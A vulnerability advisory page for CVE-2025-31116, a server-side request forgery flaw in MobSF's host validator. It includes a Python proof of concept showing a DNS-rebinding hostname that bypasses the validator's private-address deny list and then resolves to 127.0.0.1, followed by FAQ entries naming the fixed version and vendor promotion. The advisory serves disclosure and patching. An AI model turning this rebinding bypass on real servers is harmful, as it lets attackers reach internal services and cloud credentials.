CVE-2025-31116

The latest deployed fix for the SSRF vulnerability is through the use of the call valid_host(). The code available at lines /ae34f7c055aa64fca58e995b70bc7f19da6ca33a/mobsf/MobSF/utils.py#L907-L957 is vulnerable to SSRF abuse using DNS rebinding technique.

PoC

The following proof of concept:

def valid_host(host):
    """Check if host is valid."""
    try:
        prefixs = ('http://', 'https://')
        if not host.startswith(prefixs):
            host = f'http://{host}'
        parsed = urlparse(host)
        domain = parsed.netloc
        path = parsed.path
        if len(domain) == 0:
            # No valid domain
            return False, None
        if len(path) > 0:
            # Only host is allowed
            return False, None
        if ':' in domain:
            # IPv6
            return False, None
        # Local network
        invalid_prefix = (
            '100.64.',
            '127.',
            '192.',
            '198.',
            '10.',
            '172.',
            '169.',
            '0.',
            '203.0.',
            '224.0.',
            '240.0',
            '255.255.',
            'localhost',
            '::1',
            '64::ff9b::',
            '100::',
            '2001::',
            '2002::',
            'fc00::',
            'fe80::',
            'ff00::')
        if domain.startswith(invalid_prefix):
            return False, None
        ip = socket.gethostbyname(domain)
        if ip.startswith(invalid_prefix):
            # Resolve dns to get IP
            return False, None
        return True, ip
    except Exception:
        return False, None

import random
import time
import socket
from urllib.parse import urlparse

if __name__ == '__main__':
    print("Generating random host ...", end=' ')     
    prefix = random.randint(999_999, 9_999_999)
    host = f"{prefix}-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms"
    print("Done")
    print(f"Testing with '{host}' ... ", end=" ")
    valid, ip = valid_host(host)
    if valid:
        print(f"Successful Bypass")
        print(f" - Host initially resolved to: {ip}")
        print("Sleeping for 1 second ...")
        time.sleep(1)
        print(f" - Second use host will be resolved to: {socket.gethostbyname(host)}")
        print(f" - Third use host will be resolved to: {socket.gethostbyname(host)}")
        print("Sleeping for 30 seconds ...")
        time.sleep(30)
    else:
        print(f"Invalid host")

Yields :

$ python3 poc.py
Generating random host ... Done
Testing with '5084216-make-1.1.1.1-rebindfor30safter1times-127.0.0.1-rr.1u.ms' ...  Successful Bypass
 - Host initially resolved to: 1.1.1.1
Sleeping for 1 second ...
 - Second use host will be resolved to: 127.0.0.1
 - Third use host will be resolved to: 127.0.0.1
Sleeping for 30 seconds ...

Which generate an initlal random url that leverages dns rebinding after 1 time host resolution and remains to that IP for 30 seconds.
As you can notice the initial resolution was pointing to 1.1.1.1. The second time the IP was resolved to 127.0.0.1. Such an attack could be adjusted for other IP addresses.

The usual impact of Server-side request forgery.

Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.

CVE-2025-31116 has a CVSS score of 4.4 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.3.2); upgrading removes the vulnerable code path.

Kodem intelligence

• Avoid the use of socket.gethostbyname() since it issues and DNS query.

1. What is CVE-2025-31116? CVE-2025-31116 is a medium-severity server-side request forgery (SSRF) vulnerability in mobsf (pip), affecting versions < 4.3.2. It is fixed in 4.3.2. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
2. How severe is CVE-2025-31116? CVE-2025-31116 has a CVSS score of 4.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of mobsf are affected by CVE-2025-31116? mobsf (pip) versions < 4.3.2 is affected.
4. Is there a fix for CVE-2025-31116? Yes. CVE-2025-31116 is fixed in 4.3.2. Upgrade to this version or later.
5. Is CVE-2025-31116 exploitable, and should I be worried? Whether CVE-2025-31116 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2025-31116 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2025-31116? Upgrade mobsf to 4.3.2 or later.